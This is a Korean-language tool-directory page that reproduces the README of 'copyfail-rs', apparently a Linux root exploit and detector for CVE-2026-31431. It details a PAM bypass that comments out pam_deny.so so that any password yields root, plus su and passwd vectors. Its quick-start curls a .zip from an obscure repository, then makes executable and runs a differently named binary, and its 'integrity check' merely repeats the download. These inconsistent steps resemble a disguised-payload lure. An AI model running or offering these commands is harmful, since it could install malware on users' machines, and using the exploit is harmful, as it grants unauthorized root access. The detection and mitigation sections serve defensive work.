Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
copyfail-rs — 시스템 무결성을 모니터링하고 PAM 인증을 우회하는 정적 바이너리를 사용하여 CVE-2026-31431 취약점을 익스플로잇하고 탐지합니다. | Kitploit
도구/GitHubGitHub/liverwortenuresis371/copyfail-rs
Privilege EscalationMemory ForensicsVulnerability AnalysisExploitationForensicsPenetration TestingAuthenticationRed TeamingIncident ResponseBinary Exploitation
GitHubliverwortenuresis371/copyfail-rs

copyfail-rs

51일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

시스템 무결성을 모니터링하고 PAM 인증을 우회하는 정적 바이너리를 사용하여 CVE-2026-31431 취약점을 익스플로잇하고 탐지합니다.

저장소 보기

copyfail-rs

CVE-2026-31431 (CopyFail)에 대한 다중 벡터 PoC + 대응 탐지. 다른 공개 PoC에서는 제공하지 않는 새로운 PAM 인증 우회 벡터를 포함합니다. 탐지 모드는 AIDE / Wazuh / OSSEC / Tripwire가 구조적으로 탐지할 수 없는 것을 잡아냅니다.

단일 정적 바이너리. 약 108 KB. no_std musl.

데모

root@kitploit:~
noot@host:~$ ./copyfail-rs --mode exploit
[sudo] password for noot:
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@host:~#

하나의 명령어. 루트 쉘. 내부적으로 PAM 킬샷 (단일 4바이트 쓰기를 /etc/pam.d/common-auth에 수행), PTY 드롭을 통해 sudo로 루트 진입, 비밀번호는 무시됩니다. [sudo] password for noot: 줄이 잠깐 나타납니다. sudo는 항상 해당 프롬프트를 출력하며, 바이너리는 임의의 문자열을 입력하고 주석 처리된 pam_deny.so를 통해 pam_unix의 실패가 pam_permit.so로 이어져 → 루트가 됩니다.

root@kitploit:~
$ ./copyfail-rs --mode detect --scan
=== copyfail-rs detection: --scan ===

TAMPERED (1):
  /etc/pam.d/common-auth [ext4]
    cache:  23c4f1ee...  ← 실제로 로드된 내용 (변형됨)
    disk:   117dab1c...  ← AIDE / Wazuh / Tripwire가 보는 내용 (깨끗함)

이것이 프로젝트입니다. 디스크는 깨끗하고, 캐시는 변형되었습니다. 모든 공개 FIM은 이를 볼 수 없습니다. 이 도구는 볼 수 있습니다.

빠른 시작 (빌드 불필요)

v0.1.0 릴리스에 사전 빌드된 정적 바이너리가 있습니다. 아키텍처를 선택하고 다운로드하여 실행하세요.

root@kitploit:~
# x86_64 (대부분의 노트북 + 클라우드 서버)
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
chmod +x copyfail-x86_64-musl
./copyfail-x86_64-musl --mode exploit

다른 아키텍처:

아키텍처파일
ARM64 (aarch64)copyfail-aarch64-musl
ARMv7 (Raspberry Pi 3+)copyfail-armv7-musleabihf

무결성 확인:

root@kitploit:~
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
sha256sum -c checksums.txt

정적 musl 바이너리로, 런타임 종속성이 없으며 모든 Linux에서 실행 가능합니다.

FIM이 왜 탐지하지 못하는가

페이지 캐시 변형. VFS 쓰기 없음. 더티 페이지 없음. inotify 이벤트 없음. 주기적인 재검사가 축출(eviction)과 경쟁합니다.

AIDE/Wazuh/OSSEC/Tripwire/Samhain은 버퍼링된 I/O → 페이지 캐시 → 변형된 바이트를 해시하여 진실로 간주합니다. 또는 축출 후, 깨끗한 디스크를 해시하여 "변경이 절대 없었다"고 판단합니다.

탐지를 위해서는 O_DIRECT (캐시 건너뛰기) + 버퍼링된 읽기 (캐시 적중) + 해시 차이가 필요합니다. 불일치 = CopyFail 시그니처입니다. 이것이 --scan입니다.

벡터

자동 선택: --vector auto (기본값). pam > su > passwd 순서로 은밀함을 우선시합니다. 실패 시 대체.

탐지

모든 곳에서 --json 지원으로 SIEM 수집 가능.

탐지 아티팩트

detection/ 디렉토리:

  • sigma/copyfail-af-alg.yml, Sigma 규칙, SIEM에 적용
  • auditd/copyfail.rules, augenrules --load
  • ebpf/copyfail-trace.bt, bpftrace 원라이너
  • apparmor/copyfail-block.profile, AppArmor 3.0+ 차단 규칙
  • mitigation/disable-algif.sh, modprobe 블랙리스트 + =y 경고

완화

root@kitploit:~
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead

또는 커널 메인라인 a664bf3d603d (2026년 4월). 현재로서는 Debian Sid/Forky만 배포했습니다. Ubuntu LTS, RHEL, SUSE, Amazon Linux, Fedora, Arch, Oracle은 모두 취약합니다.

주의: CONFIG_CRYPTO_USER_API_AEAD=y (커널 내장)로 설정된 경우 modprobe를 우회합니다. --check에서 경고합니다.

익스플로잇 및 완화 후: 캐시 변형은 재부팅까지 지속됩니다. 완화는 새로운 익스플로잇을 차단하지만, 기존 변형을 되돌리지는 않습니다.

빌드

root@kitploit:~
cargo build --release --target x86_64-unknown-linux-musl
대상크기
x86_64-musl108 KB
aarch64-musl96 KB
armv7-musleabihf86 KB

no_std. 할당자 없음. 런타임 종속성 없음. 단일 정적 바이너리.

사전 빌드된 아티팩트와 SHA256 합계는 GitHub 릴리스에 첨부되어 있습니다.

사용법

각 모드(익스플로잇 auto/list/all, 탐지 check/scan/baseline/diff/watch/hunt)에 대한 구체적인 한 화면 예제는 docs/usage.md를 참조하세요.

이 README의 좀 더 긴 서사형 버전(더 많은 맥락, 깊이 있는 설명)은 BLOG.md를 참조하세요.

위협 모델

docs/threat-model.md 참조.

비교

승인 및 윤리

자신의 하드웨어에서만 사용. CLI 게이트 없음 (보안 극장). README + LICENSE가 프레임워크 역할.

탐지 모드는 읽기 전용입니다. 프로덕션에서 안전합니다.

익스플로잇 모드는 커널 페이지 캐시를 변형합니다. RAM에만 영향이 있지만 파괴적이라고 간주해야 합니다. 이후 호출자의 인증을 차단합니다.

크레딧

CVE-2026-31431은 2026-04-29에 Theori / Xint가 공개 (writeup, Xint 블로그). 이전 공개 PoC:

  • theori-io/copy-fail-CVE-2026-31431 (Python, 732바이트, su 벡터)
  • tgies/copy-fail-c (C with nolibc, su + passwd 벡터, 이식 가능)
  • badsectorlabs/copyfail-go (정적 Go 바이너리, su 벡터)

이 프로젝트(copyfail-rs): PAM 인증 우회 벡터, 이중 모드 탐지, 침해 대응 아티팩트를 추가합니다.

라이선스

MIT.

참고

  • https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
  • Linux 수정 커밋: a664bf3d603d
  • 최소 커널 버전: 72548b093ee3 (4.14, 2017년 8월)
  • 유사 취약점: Dirty Pipe (CVE-2022-0847)
도구 다운로드
벡터대상적용 위치
pam (신규)/etc/pam.d/common-auth (Debian/Ubuntu) 또는 system-auth (Fedora/RHEL/Arch)4바이트. auth requisite pam_deny.so → #aut requisite pam_deny.so. 임의의 비밀번호로 sudo 실행 시 root 획득.
su/usr/bin/susetuid 바이너리 텍스트 변형. execve → root.
passwd/etc/passwdUID 변경 → 다음 로그인 시 사용자가 root가 됨. 해당 사용자의 SSH 접속을 차단함.
모드설명
--check커널 + 모듈 + CONFIG_CRYPTO_USER_API_AEAD + 완화 상태 확인. 결과: 취약 / 완화됨 / 안전.
--scan중요 파일에 대해 O_DIRECT와 버퍼링된 읽기 차이 비교. statfs() 기반 분기: ext4/xfs/btrfs는 O_DIRECT 사용, overlayfs는 fallback, tmpfs는 건너뜀.
--baseline / --diff알려진 깨끗한 상태의 스냅샷 저장. 나중에 차이 비교. 캐시 전용 델타 = CopyFail 지문.
--watch데몬. 주기적 스캔. SIGTERM으로 안전 종료.
--huntSSH Fleet 스윕. JSON 집계.
Theori Pythontgies Cbadsectorlabs Gocopyfail-rs
벡터susu + passwdsusu + passwd + PAM (신규)
탐지없음없음없음전체 --mode detect
침해 대응 아티팩트없음없음없음Sigma + auditd + eBPF + AppArmor
운영자 UX3개 명령어4개 명령어5개 명령어1개 명령어
바이너리Python 필요~10 KB~5 MB~108 KB 정적